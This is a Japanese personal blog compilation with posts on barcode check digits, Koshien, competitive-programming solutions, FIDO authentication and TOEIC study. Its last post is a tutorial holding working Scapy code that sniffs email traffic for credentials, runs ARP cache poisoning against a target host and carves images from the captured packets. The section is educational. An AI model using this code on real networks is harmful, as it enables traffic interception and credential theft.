バーコードについている数字の仕組み
こんにちは！field_flatです！
突然ですが，みなさん「バーコードについている数字の仕組み」についてご存知でしょうか？ 私はとある本を読んだときに，バーコードの数字にはある工夫がされていることを知り，なるほど〜と思いました． そんな大したことではないのですが，一応ブログで紹介したいと思います．
バーコードの数字って？
こんな感じのやつです．
「4 903333 274420」という数字が書いてありますね．
数字の意味
数字の意味なのですが，左の2桁(上記例でいう「49」)は「国コード」を表します．日本は基本的に「45」か「49」になります． 続く5桁(上記例でいう「03333」)は「企業コード」を表します．企業ごとに一意の数字が与えられます． 続く5桁(上記例でいう「27442」)は「商品アイテムコード」を表します． そして最後の1桁(上記例でいう「0」)は，実は何も意味していません． 何も意味していないというと語弊があるのですが，これは商品の読み取りエラーを防ぐ仕組みのために付けられた数字なのです．したがって企業や商品とは一切無関係のものです． どうやって最後の数字が決定するかというと，奇数桁の数の和をx(上記例でいうと4+0+3+3+7+4 = 21より，x=21)，偶数桁の数の和をy(上記例でいうと9+3+3+2+4+2 = 23より，y=23)，そして最後の数字をzとしたときに，x+3y+zが10の倍数になるようにzが設定されるらしいです．
上記例の場合，x+3y = 90より，z=0とすれば10の倍数になりますね．なので最後の桁は0になるのです．
この仕組みを導入することで，間違えて他の商品を認識してしまう，というエラーを防いでいるのです！
これを知ったとき，「身近なものにも色々な工夫が施されているのだなあ」と思いました^^
夏の甲子園が中止になりそう...
こんにちは．field_flatです．
過ごしやすい天気になってきましたね．私もそろそろ半袖デビューをしようかと思っています． また緊急事態宣言も一部地域でもうすぐ解除されるということで，外出する機会も少しずつ増えてきそうですね．
さて，今日は夏の甲子園が中止の方向で話が進んでいることについて感想を述べたいと思います．
コロナ新規感染者数はいつ0に収束するだろうか？
話の焦点はやはり「夏までにコロナ新規感染者数は0に収束するかどうか」という点だと思います． 現時点でのコロナ感染者数の推移についてはこちらに書かれています．
新規感染者数に注目すると，2020年5月15日現在では1週間連続で100人を下回っています． 緊急事態宣言の解除により新規感染者数は少し増加することが予想されますが，適切に段階を踏んで外出制限を解くことによって，そこまで大きく感染者が増えることはないのではないかと考えています． もちろん夏までにコロナ新規感染者が0になることはないのですが，爆発的に二次感染が起こることは(現時点では)ないと考えています．
夏の甲子園はやるべき？
夏の甲子園の実施に関しては賛否両論あると思いますが，私は「無観客での実施ならできるのでは」と思っています． 例年通りに満員のお客さんのもとで試合を実施するのは無理があると思います．クラスタが形成されてしまうからです． ただ無観客(ただしベンチ外選手は観客席にいるものとする)なら，三密は防げるでしょうし，そもそも野球は選手間が密接するような場面は非常に少ないので，感染リスクはそこまで大きくないと思います(むしろ学校で授業受けている方がクラスタを形成しやすいのでは...)． 観客席にいるベンチ外選手も応援を自粛したり，間隔を開けて座ることによって感染リスクを下げることはできます．
でも現実問題，実施は難しそう
私は前述の通り，「無観客なら試合ができる」と思っています．しかし，現実問題を考えると「夏の甲子園は実施されないだろうな」と思います． 理由は，「誹謗中傷が殺到することが容易に想像できる」，「一人でも感染が出てはいけないので，高野連の責任がかなり重大」，「地方の学校は比較的練習できる環境にあるが，首都圏の学校はまだ練習できる環境ではない」からです．
私自身，甲子園が大好きなので現地で応援したい気持ちが強かったのですが，こればっかりは仕方がないと思います． 甲子園を目指していた球児たちのためにも，なんとか時期を遅らせて実施できないものか...
ABC156 D問「Bouquet」
問題リンク
問題文
回答プログラム
import math n, a, b = map(int, input().split(" ")) mod_num = 10**9 + 7 # n, aは正整数(n >= a), pは素数 def comb_mod(n, a, p): X = 1 for num in range(n, n-a, -1): X *= num X %= p Y = math.factorial(a) % p return (X * (pow(Y, p-2, p))) % p print((pow(2, n, mod_num) - (comb_mod(n, a, mod_num) + comb_mod(n, b, mod_num) + 1)) % mod_num)
解説
冪剰余計算と組合せ剰余計算が必要となる問題． どちらも高速化できる手法があるので説明する．
まず冪剰余計算については，pythonの既存関数powを利用することで高速に求められる．
Example:
>>> pow(10, 3, 7) 6 >>> pow(10**9, 4000, 123456) 9088
一方，組合せ剰余計算については，少し工夫しないといけない． 以下の式変形を見てみよう．
組合せ「剰余」計算においては，上記の式変形を利用して高速計算できる(ただしpは素数)．理由としては，Yp-2はpow関数を利用することで高速に計算できるためである．
この手の問題が出たら，いちいちアルゴリズムを考えるのは手間なので，すぐ利用できる形でドキュメントに残しておくと良いかもしれない．
しゃくとり法
はじめに
本記事では，「しゃくとり法」と呼ばれる計算量削減テクニックを紹介する．
筆者は競技プログラミング初心者である．AtCoderのビギナーズコンテストに４回参加したことがあり，そのうちD問を突破したことがあるのは１回のみである．そもそもD問を回答できる人は，「この問題にはこのアルゴリズムを使えば良い」ということが分かっている人であることに気づいた．自分にはまだその能力がないので，これからその能力をつけようと思い，記事にしてまとめることにした．
以上の経緯より，初心者が記事を書いているので誤ったことを記載しているかもしれない．もし間違ったことを書いていたら，コメントで教えていただきたい．
しゃくとり法とは
しゃくとり法とは，簡単に言ってしまうと数列{a1, a2, ..., an}において，条件を満たす区間の最小，最大，数え上げを効率的に行うアルゴリズムである．
言葉で説明してもピンとこないと思うので，例題を示す．
例題１：AOJ Course The Number of Windows
問題リンク： http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=DSL_3_C&lang=jp
この解法としてまず挙げられるのは，「全てのパターンを確かめる」ことである．つまり，左端alと右端arの全組み合わせで条件を満たすかチェックする方法である．
N, Q = input().split(" ") N, Q = int(N), int(Q) a_list = [int(i) for i in input().split(" ")] x_list = [int(i) for i in input().split(" ")] for x in x_list: count = 0 # 条件を満たす個数 for left in range(0, N): for right in range(left+1, N+1): if sum(a_list[left:right]) <= x: count += 1 print(count)
当然この方法だと，計算量はO(n2)になるためTLEになってしまう． 改善策として，「ifの条件に合致しない場合は，右端をインクリメントしても当然条件に合致しない」ということを利用し，条件に合致しないタイミングでfor文をbreakする方法である．
N, Q = input().split(" ") N, Q = int(N), int(Q) a_list = [int(i) for i in input().split(" ")] x_list = [int(i) for i in input().split(" ")] for x in x_list: count = 0 # 条件を満たす個数 for left in range(0, N): for right in range(left+1, N+1): if sum(a_list[left:right]) <= x: count += 1 else: break print(count)
これで多少計算量は小さくなったが，まだ改善の余地がある． 上記のプログラムだと，条件に合致しない場合，leftをインクリメントして，rightをleft+1の位置まで戻している．このrightをleft+1の位置まで戻す作業が実は無駄になっている．なぜなら，最後に条件に合致していたrightをright' と書くとすると，leftをインクリメントしても，右端がright'のときまでは必ず条件に合致するからである．
以上の挙動をプログラムに落とし込んでみよう．
N, Q = input().split(" ") N, Q = int(N), int(Q) a_list = [int(i) for i in input().split(" ")] x_list = [int(i) for i in input().split(" ")] for x in x_list: count = 0 # 条件を満たす個数 start_right = 0 # 初期right位置 sum_num = 0 # leftからrightまでのa_listの合計値 for left in range(0, N): if left > start_right: start_right = left for right in range(start_right, N): sum_num += a_list[right] if sum_num <= x: count += 1 else: break # すでに条件を満たすものについては，ここでcount up if (right - left - 1) >= 1: count += (right - left - 1) # sum_numを修正 & start_rightの位置を修正 if left != right: sum_num -= (a_list[left]+a_list[right]) start_right = right else: sum_num -= a_list[left] start_right = left+1 print(count)
上記のプログラムによって，rightを差し戻す必要がなくなり，leftもrightも値が減ることはなくなる．したがって，計算量もO(n)となる．
しゃくとり法が利用できる場合
しゃくとり法が利用できる場合は，以下の通り．(引用： しゃくとり法 (尺取り法) の解説と、それを用いる問題のまとめ - Qiita )
しゃくとり法は
・「条件」を満たす区間 (連続する部分列) のうち、最小の長さを求める
・「条件」を満たす区間 (連続する部分列) のうち、最大の長さを求める
・「条件」を満たす区間 (連続する部分列) を数え上げる
といったことを効率良く実現できる手法ですが、「条件」というのが何でもいいわけではないです。「条件を満たす区間」が以下のいずれかの構造になっている場合には、しゃくとり法を適用することができます:
上記の構造が成り立っている場合，rightの差し戻しが必要なくなるわけだが，そうでない場合は，rightの差し戻しが必要になってきてしまうので，しゃくとり法は使えないわけである．
例題２：3061 -- Subsequence
こちらの問題も，先ほど説明した構造を満たしているので，しゃくとり法が使える．以下がそのプログラムである．
T = int(input()) for _ in range(0, T): N, S = input().split(" ") N, S = int(N), int(S) x_list = [int(i) for i in input().split(" ")] start_right = 0 sum_num = 0 minimum = 10**18 for left in range(0, N): if left > start_right: start_right = left for right in range(start_right, N): sum_num += x_list[right] if sum_num >= S: if (right - left) < minimum: minimum = (right - left) + 1 break if left == right: sum_num -= x_list[right] start_right = left+1 else: sum_num -= (x_list[left] + x_list[right]) start_right = right print(minimum)
例題３：C - 列
これもしゃくとり法でいける．
N, K = input().split(" ") N, K = int(N), int(K) s_list = [] is_run = True for _ in range(0, N): tmp = int(input()) if tmp == 0: print(N) is_run = False break s_list.append(tmp) ans = 0 start_right = 0 mult_num = 1 if is_run: for left in range(0, N): plus = 1 if left > start_right: start_right = left for right in range(start_right, N): mult_num *= s_list[right] if mult_num > K: plus = 0 break if ans < (right - left): ans = (right - left) + plus if (left == right): mult_num = 1 start_right = left+1 else: mult_num //= s_list[left] mult_num //= s_list[right] start_right = right print(ans)
例題４：C - 単調増加
これもしゃくとり法の典型である．
N = int(input()) a_list = [int(i) for i in input().split(" ")] start_left = 0 count = N right = start_left while (start_left < N): right += 1 if(right >= N or a_list[right-1] >= a_list[right]): diff = right - start_left - 1 count += diff*(diff+1)//2 start_left = right print(count)
例題５：B - 細長いお菓子
N = int(input()) A = list(map(int, input().split())) used = [False]*(10**5+1) right = 0 ans = 0 for left in range(N): while right < N and used[A[right]] == False: used[A[right]] = True right += 1 ans = max(ans, right-left) used[A[left]] = False print(ans)
参考文献
FIDO認証とは
目次
はじめに
本記事では，FIDOアライアンスが推進する認証技術の仕様，及びその標準化活動の動向について解説する．
既存の認証方式の問題点
現在最も使用されている認証方式は，ユーザを一意に表す「ID」と，ユーザが設定した「パスワード」の両者を組み合わせて正当性を確かめる方式である．普段利用しているアプリケーションの大多数はこの方式である．
この認証方式には，「利便性」と「安全性」に問題がある．
利便性の面では，利用するサービスが多くなると，それぞれのサービスごとにパスワードを覚えなければならず，忘れてしまうことも多い．また小文字・大文字・数字を組み合わせたパスワードの場合，スマートフォンや小型機器で入力するのは不便となる場合がある．
安全性の面では，近年「リスト型攻撃」と呼ばれる，何らかの手段で漏洩したIDとパスワードの組み合わせのリストを使用することで，不正アクセスを試みるサイバー攻撃が流行しているが，既存の認証方式はリスト型攻撃を受けやすい．また，本来パスワードはサイトごとに違う文字列を設定すべきだが，多くの人はパスワードを使いまわしている．その場合，もしとあるサイトのパスワードが漏洩してしまったら，他のサイトでの不正アクセスは免れない．
パスワードへの依存度を減らしながら，利便性と安全性の問題点を同時に解決する技術として，FIDO認証が開発されている．
FIDO認証モデル
既存の認証モデルは，利用者がIDとパスワードを入力し，それを認証サーバが確認し，認証の可否を決定する ． 一方，FIDO認証モデルは，認証自体は利用者のデバイス(スマホやPCなど)など手元にある認証器で完結し，その結果を事前に登録してある秘密鍵を用いて署名し，それを認証サーバに送信し，認証サーバは公開鍵を用いて署名を検証する．
FIDO認証の優れている点は，クレデンシャルな情報がネットワーク上に流出しない点である． 従来の認証方式では，利用者を偽サイトに誘導して利用者のクレデンシャルな情報を盗み取る「フィッシング詐欺」による攻撃が可能であったが，FIDO認証はそのような攻撃にも耐性がある．
FIDO認証の大きな特徴として，利用者の検証結果の妥当性確認のために，「公開鍵暗号方式」を活用している点にある．利用者は，認証のために用いる認証器を，FIDO認証に対応したサーバ(FIDOサーバ)に事前に登録する．このとき，認証器は認証用の秘密鍵と公開鍵のペアを作成し，秘密鍵は認証器内に厳重に保管しておき，公開鍵はFIDOサーバに利用者IDと紐づけて保管する．
認証の際には，FIDOサーバから「チャレンジ」と呼ばれるランダム文字列が認証器に送付される．認証器は利用者の本人性を確認できた場合のみ，秘密鍵を用いてチャレンジに署名し，それをFIDOサーバに送付する． FIDOサーバは公開鍵を用いて署名を検証し，適切であると確認できた場合のみ認証が成功する．
FIDO認証は，「本人性のローカル検証」と，「認証結果の通知プロセス」を分離し，公開鍵暗号を使った１つの標準化プロトコルとしてまとめて提供したところが革新的であり，従来の認証方式とは原理的に異なる．
本人性の確認方式
認証器による本人性の確認方式は色々な手段が想定されているが，今のところは「生体認証」が有力である．例えば指紋，虹彩，顔，声紋など様々などを用いた認証が挙げられる．
ここで重要なのは，FIDOサーバは本人性確認や認証に必要な利用者の生体情報や秘密鍵などを保管する必要がないことである．従来の認証方式では，認証サーバがクレデンシャルなデータを保持していたため，個人情報の漏洩リスクがあった．FIDO認証に生体認証を適用することで，生体情報の管理コストを軽減でき，利用者のプライバシーを守ることもできる．
FIDO認証のアーキテクチャ
FIDO認証システムでは，上記までに述べた「認証器」と「FIDOサーバ」に加えて，認証器を実装しFIDOサーバと通信する「FIDOクライアント」を用いて構成される．認証器はFIDOクライアントと同一デバイスに実装されてもよく(内蔵認証器)，異なるデバイスにおいて実装されても良い(外部認証器)．
以上のような機能構成により，FIDO認証に対応した認証器であれば，認証器を認証のための１つの部品のように扱い，認証システムにプラグイン的に追加できる．
またこのような構成を取ることにより，必要に応じて複数の認証器を組み合わせて「多段階認証」を実現することができる．例えばATMにおいて，残高照会には一つの認証方式のみ採用し，振込時は第二認証も適用し，高額な振込時は第三認証も適用したりと，セキュリティレベルに応じて認証手段を追加することができる．
FIDO認証の技術
技術仕様：FIDO UAFとU2F
現在の主なFIDO技術仕様として，FIDO UAFとU2Fが存在する．
- FIDO UAF
FIDO UAF仕様は，主にスマートフォン端末の利用を想定し，生体認証などの認証手段を用いて，パスワードレス認証を実現する．国内においては，NTTドコモがいち早く商用サービスに採用し，国外においても決済サービス等で広く使用されている． FIDO UAFでは，中間者攻撃への対応として，取引データも秘密鍵によって署名するため，仮に取引データを改ざんされたとしても，それを検出し，不正送金等を防止できるようにしている．
- FIDO U2F
FIDO U2F仕様は，主にPC上でWebブラウザの利用を想定しており，パスワードを第一認証として用いた後，FIDOに対応した認証を補完するという，二要素認証をサポートしている． 利用者がネット上の何らかのサービスを利用中で認証する必要が発生した場合に，まず利用者は認証要求を受け，パスワードを用いて第一認証を行う．次に，利用中のデバイス(PC)に，あらかじめ登録ずみのセキュリティキーをUSBドングルに挿入し，ボタンに触れるなどの簡単な動作を行なって(第二認証)，認証が完了する． FIDO U2Fにおけるデバイスには，USBキーやスマートカードのように着脱するものと，BLE(Bluetooth Low Energy)やNFC(Near Field Communication)の無線方式に対応している．これらはGoogle, Dropbox, GitHub, Facebookなどで採用されており，フィッシング対策として有効であるとの実証結果も報告されている．
認証器の信頼性
FIDO認証においては，認証器が秘密情報をセキュアに保管し，利用者の本人性検証，鍵ペアの作成，秘密鍵での署名を行う．FIDOサーバは認証器からの検証結果の妥当性を検証し，認証が完結する． この仕組みが機能するためには，「FIDOサーバが認証器からの結果を信頼できることが不可欠」である．
認証器の信頼性を確保するために，FIDO認証器には「アテステーション」と呼ばれる自己正当性を表明する機能が仕様化されている． アテステーション仕様では，色々な方式が規定されているが，一例として「基本アテステーション」を紹介する．基本アテステーションでは，認証器の工場出荷時に同一認証器モデルに対応したアテステーション用秘密鍵とその証明書をTEE(認証器のセキュア部分)などに格納する．認証器の正当性は，証明書のルート認証局への証明書連鎖を辿り，ルート認証局の信頼性により検証可能となる．この仕組み自体はPKI(公開鍵基盤)と変わらないが，基本アテステーションにおいては，全てのPKIの機能をサポートする必要はないことに注意されたい．
メタデータ
メタデータとは，認証器に関する様々な情報のことである．FIDOアライアンスが運用しているMDS(Metadata Service)を通じてメタデータを登録することができ，誰でもそのメタデータを閲覧することができる．FIDOサーバは，認証器に対応するメタデータを参照することで，認証器の受け入れ可否を判断することができる．
FIDO認証の処理
FIDO認証には，大きく以下の三つの処理がある．
登録(Registration)：認証器をFIDOサーバに登録する
認証(Authentication)：認証器を通じてFIDO認証を行う
登録解除(Deregistration)：認証器をFIDOサーバから登録解除する
ここで，FIDO UAFの登録フローを以下に示す．
続いて，認証フローを以下に示す．
登録フローと認証フローは，大まかな流れは一緒であるが，チャレンジに対して署名する際に使用する秘密鍵が異なる．登録フローにおいては，アテステーション用の秘密鍵を用いるが，認証フローにおいては，認証用の秘密鍵で署名する．
FIDO2 プロジェクト
FIDO認証の対応プラットフォーム拡大を目的とする「FIDO2 プロジェクト」を結成され，時期使用の策定が開始されている．FIDO2 プロジェクトにおいては，以下の二つの技術仕様を扱う．
Web認証 (Web Authentication)
CTAP (Client To Authenticator Protocol)
本記事の最後に，上記の二項目を説明する．
Web認証
Web認証仕様は，主要なWebプラットフォーム(OSやWebブラウザなど)にFIDO認証を組み込み，利用者がデバイスを購入することにより直ちにFIDO認証を利用できる環境にする方針の下に策定されている．既に，Chrome，Edge，Firefoxがサポートする実装が進められている．
CTAP
CTAPはデバイス間連携仕様であり，外部にあるデバイスの認証器に対して認証処理を依頼するための通信プロトコルである．例えば，PCのWebブラウザ上で認証が必要になった場合に，スマートフォンなどの外部デバイスを用いて認証が可能となる．この場合，２つのデバイス間はBLEやNFCを用いてローカル連携され，スマートフォンでの認証結果をWebブラウザのアプリケーションに送付する．他にも，FIDO U2Fと同様に，PCにUSBキーを挿入して，直接連携することも可能となる． CTAPにより，様々なサービスで認証が必要になったとしても，自分のスマートフォンなどを共通の認証器として利用することで，利便性が高くなる．さらに認証手段の拡張性が高まることで，認証システムの開発やデバイスのメンテナンスに関わるコストを削減できる可能性がある．
参考文献
- 「FIDO（ファイド）認証とその技術」，五味 秀仁、大神 渉 電子情報通信学会『Fundamental Review Vol.12 No.2 Oct. 2018』, 2018/10, https://www.jstage.jst.go.jp/article/essfr/12/2/12_115/_pdf/-char/ja
TOEIC L&R：短期間で効率よく点数上げる方法＆おすすめ参考書
はじめに
これからTOEICを受けないといけないけど，「短時間で効率よく点数をあげたい」，「何から手をつけたらいいか分からない」といった人向けに，私の実体験を元にオススメの参考書＆取り組み方を紹介します． あくまで個人的なオススメなので，参考程度に読んでください．
TOEIC成績
1回目：Total680 (L: 375, R: 305)
2回目：Total885 (L: 460, R: 425)
Lおすすめ教材
私は主に以下の2冊に取り組みました．
解きまくれ！リスニングドリルTOEIC TEST（Part 3＆4）
解きまくれ!リスニングドリル―TOEIC TEST Part3&4 (イ・イクフンのStep by Step講座)
- 作者:イ イクフン
- 出版社/メーカー: スリーエーネットワーク
- 発売日: 2010/02/01
- メディア: 単行本
個人的にこの本のおかげでリスニングの得点が大幅に上昇したと思っています． 難易度的には少し高めなのですが，この本を2回周りオーバーラッピングとシャドーイングすれば，リスニング400点は安定して取れるようになります． この本の特徴としては，圧倒的な問題数，適度に速いリスニング，問題の先読み時間のための配慮等が考慮されているところです．特にPart3&4では，問題先読みテクニックが必要なので，その力を養うにはもってこいの一冊だと思います． Part1&2版も売られているので，気になった方はチェックしてみるといいかもです（私は買いませんでした)．
公式TOEIC Listening&Reading トレーニング リスニング編
公式 TOEIC Listening & Reading トレーニング リスニング編
- 作者:Educational Testing Service
- 出版社/メーカー: 国際ビジネスコミュニケーション協会
- 発売日: 2017/06/23
- メディア: 単行本
公式問題集もかなりおすすめです．本番さながらの問題に取り組めます． 問題数もそこそこあります．2周りやれば力付きます．
Rおすすめ教材
TOEIC L&Rテスト 文法問題 でる1000問
- 作者:TEX加藤
- 出版社/メーカー: アスク
- 発売日: 2017/06/10
- メディア: 単行本（ソフトカバー）
文法問題はこれ一冊で十分です． 問題数も十分にありますし，解説が割と丁寧です．問題集自体はタイプ別に章立ててあるのですが，ランダムに問題に取り組めるようの別冊付きなので，それもおすすめポイントかなと思います． 正直文法問題は満点取るのはかなり難しいと思いますが，この問題集に取り組めば7~8割は安定して取れるようになると思います．
TOEIC リーディングスピードマスター
TOEIC(R)TESTリーディングスピードマスター NEW EDITION
- 作者:成重 寿
- 出版社/メーカー: Jリサーチ出版
- 発売日: 2016/09/27
- メディア: 単行本
初学者はまずこの問題集に着手すると良いでしょう．難易度も易し目ですし，二週間あれば１冊終わります．
公式TOEIC Listening&Reading トレーニング リーディング編
公式 TOEIC Listening & Reading トレーニング リーディング編
- 作者:Educational Testing Service
- 出版社/メーカー: 国際ビジネスコミュニケーション協会
- 発売日: 2017/06/23
- メディア: 単行本
公式問題集もかなりおすすめです．本番さながらの問題に取り組めます．
単語帳
TOEIC TEST 英単語スピードマスター
- 作者:成重 寿
- 出版社/メーカー: Jリサーチ出版
- 発売日: 2018/01/25
- メディア: 単行本
単語帳はこれ一冊で十分です．あと個人的な主観ですが，満点とか目指さない限り全てやる必要はないです．特にビジネス語の部分は覚えなくてもなんとかなります(私はなんとかなりました)．前半の基本語さえしっかり覚えておけば十分点数は取れると思います．
L＆Rどっちを優先すべきか
リスニングはしっかりとした対策をして，問題先読みテクニックなどを身につければ，点数はかなり上がると思います．短時間で集中して点数をあげたい方は，リスニングを優先しましょう． リーディングに関しては，個人的に全部解き切るのはかなり難しいと思っています． 短期間で点数を上げるとしたら，序盤の穴埋め問題，文法問題を確実に取ることだと思います．長文問題に関しては，Part7の序盤の方は割と易しめの問題なので，これは解けるようにしておきましょう．ただ再度繰り返しになりますが，時間内に解き切るのはかなり難しいです．最後の方はLOTO 6になります．そこはある程度割り切って，取れるところを確実に取るスタンスで勉強するといいかもです(自分はそれでも400超えました)．
最後に
参考になったら幸いです．よきTOEICライフを！
サイバーセキュリティプログラミング(ARPキャッシュポイズニング)
今回は「Scapy」と呼ばれるライブラリを使用して，ネットワーク掌握に挑戦してみましょう．さらに，ARPキャッシュポイズニングという攻撃を仕掛けられるようにしましょう．
Scapyの使い方
以下のようなコードを書くだけで簡単にパケット傍受をすることができます．
from scapy.all import * def packet_callback(packet): print(packet.show()) sniff(prn=packet_callback, count=2)
結果
###[ Ethernet ]###
dst = ***
src = ***
type = 0x800
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 52
id = 0
flags = DF
frag = 0
ttl = 64
proto = tcp
chksum = 0x81a5
src = ***
dst = ***
\options \
###[ TCP ]###
sport = 56788
dport = http
seq = 1954241764
ack = 3139339433
dataofs = 8
reserved = 0
flags = FA
window = 2062
chksum = 0xae90
urgptr = 0
options = [('NOP', None), ('NOP', None), ('Timestamp', (2132219310, 2395993116))]
None
###[ Ethernet ]###
dst = ***
src = ***
type = 0x800
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 40
id = 44805
flags =
frag = 0
ttl = 64
proto = tcp
chksum = 0x8a28
src = ***
dst = ***
\options \
###[ TCP ]###
sport = 56662
dport = https
seq = 4011062313
ack = 3114940467
dataofs = 5
reserved = 0
flags = A
window = 2048
chksum = 0xb204
urgptr = 0
options = []
None
このプログラムを元に，電子メールの認証情報を窃取してみましょう．
from scapy.all import * def packet_callback(packet): if packet[TCP].payload: mail_packet = str(packet[TCP].payload) if "user" in mail_packet.lower() or "pass" in mail_packet.lower(): print("[*] Server: {0}".format(packet[IP].dst)) print("[*] {0}".format(packet[TCP].payload)) # store=0で，メモリー上にパケットを保持しないようにする． sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)
ARPキャッシュポイズニング
続いてARPキャッシュポイズニングに挑戦してみましょう．
# 実行前に，sudo sysctl -w net.inet.ip.forwarding=1を実行する from scapy.all import * import os import sys import threading import signal def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): print("[*] Restoring target ... ") send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5) def get_mac(ip_address): responses, unanswered = srp(Ether( dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10) for s, r in responses: return r[Ether].src return None def poison_target(gateway_ip, gateway_mac, target_ip, target_mac, stop_event): poison_target = ARP() poison_target.op = 2 poison_target.psrc = gateway_ip poison_target.pdst = target_ip poison_target.hwdst = target_mac poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwdst = gateway_mac print("[*] Begining the ARP poison. [CTRL-C to stop]") while True: send(poison_target) send(poison_gateway) if stop_event.wait(2): break print("[*] ARP poison attack finished!") return interface = "en0" target_ip = "192.168.3.8" gateway_ip = "192.168.3.1" packet_count = 5000 # インターフェースの設定 conf.iface = interface # 出力の停止 conf.verb = 0 print("[*] Setting up {0}".format(interface)) gateway_mac = get_mac(gateway_ip) if gateway_mac is None: print("[!!!] Failed to get gateway MAC. Exiting.") sys.exit(0) else: print("[*] Gateway {0} is at {1}".format(gateway_ip, gateway_mac)) target_mac = get_mac(target_ip) if target_mac is None: print("[!!!] Failed to get target MAC. Exiting.") sys.exit(0) else: print("[*] Target {0} is at {1}".format(target_ip, target_mac)) stop_event = threading.Event() poison_thread = threading.Thread(target = poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac, stop_event)) poison_thread.start() print("[*] Starting sniffer for {0} packets".format(packet_count)) bpf_filter = "ip host {0}".format(target_ip) packets = sniff(count=packet_count, filter=bpf_filter, iface=interface) wrpcap('arper.pcap', packets) stop_event.set() poison_thread.join() restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
コメントにも書いてある通り，プログラムを実行する前に以下のコマンドを打ちましょう．
$ sudo sysctl -w net.inet.ip.forwarding=1
このプログラムを実行している間，ARPキャッシュに存在する標的マシンのデフォルトゲートウェイのmacアドレスが，攻撃マシンのmacアドレスと一致していることに気づくでしょう．そしてプログラムを終了させると元に戻っていることがわかります．プログラムの実行中，標的マシンに関係する通信は全て攻撃マシンに取得されることになります．
pcapファイルの処理
ここでは取得したpcapファイルを処理するプログラムを書きます．具体的には，pcapファイル中に存在する画像データを抽出し，その中に顔の画像が何枚存在するかを検証していきます.
現在編集中...
import re import zlib import cv2 from scapy.all import * pictures_directory = "pictures" faces_directory = "faces" pcap_file = "arper.pcap" def get_http_headers(http_payload): try: headers_raw = http_payload[:http_payload.index("\r\n\r\n") + 2] headers = dict(re.findall(r"(?P<name>.*?): (?P<value>.*?)\r\n", headers_raw)) except: return None if "Content-Type" not in headers: return None return headers def extract_image(headers, http_payload): image = None image_type = None try: if "image" in headers['Content-Type']: image_type = headers['Content-Type'].split("/")[1] image = http_payload[http_payload.index("\r\n\r\n") + 4:] try: if "Content-Encoding" in headers.keys(): if headers['Content-Encoding'] == 'gzip': image = zlib.decompress(image, 16+zlib.MAX_WBITS) elif headers['Content-Encoding'] == "deflate": image = zlib.decompress(image) except: pass except: return None, None return image, image_type def face_detect(path, file_name): img = cv2.imread(path) cascade = cv2.CascadeClassifier("haarcascade_frontalface_alt.xml") rects = cascade.detectMultiScale(img, 1.3, 4, cv2.cv.CV_HAAR_SCALE_IMAGE, (20,20)) if len(rects) == 0: return False rects[:, 2:] += rects[:, :2] for x1, y1, x2, y2 in rects: cv2.rectangle(img, (x1, y1), (x2, y2), (127,255,0), 2) cv2.imwrite("{0}/{1}-{2}".format(faces_directory, pcap_file, file_name), img) return True def http_assembler(pcap_file): carved_images = 0 faces_detected = 0 a = rdpcap(pcap_file) sessions = a.sessions() # pcapファイルの各セッションについてみていく． for session in sessions: http_payload = "" for packet in sessions[session]: try: # httpに関するパケットをみていく． if packet[TCP].dport == 80 or packet[TCP].sport == 80: http_payload += str(packet[TCP].payload) except: pass headers = get_http_headers(http_payload) if headers is None: continue image, image_type = extract_image(headers, http_payload) if image is not None and image_type is not None: file_name = "{0}-pic-carver_{1}.{2}".format(pcap_file, carved_images, image_type) fd = open("{0}/{1}".format(pictures_directory, file_name), "wb") fd.write(image) fd.close() carved_images += 1 try: result = face_detect("{0}/{1}".format(pictures_directory, file_name), file_name) if result is True: faces_detected += 1 except: pass return carved_images, faces_detected carved_images, faces_detected = http_assembler(pcap_file) print("Extracted: {0} images".format(carved_images)) print("Detected: {0} faces".format(faces_detected))
